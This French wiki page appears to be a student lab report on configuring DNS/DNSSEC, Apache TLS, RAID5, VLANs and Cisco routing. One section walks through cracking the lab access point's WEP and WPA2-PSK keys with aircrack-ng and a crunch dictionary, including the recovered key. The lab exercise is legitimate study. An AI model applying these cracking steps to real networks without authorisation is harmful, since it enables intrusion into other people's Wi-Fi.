&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNS avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
Installer bind9&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Génération des clés &lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
Signature de la zone&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Description de l'installation===&lt;br /&gt;
&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
Pour cela, on va brancher notre clé USB au PC. &lt;br /&gt;
On monte ensuite cette clé :&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
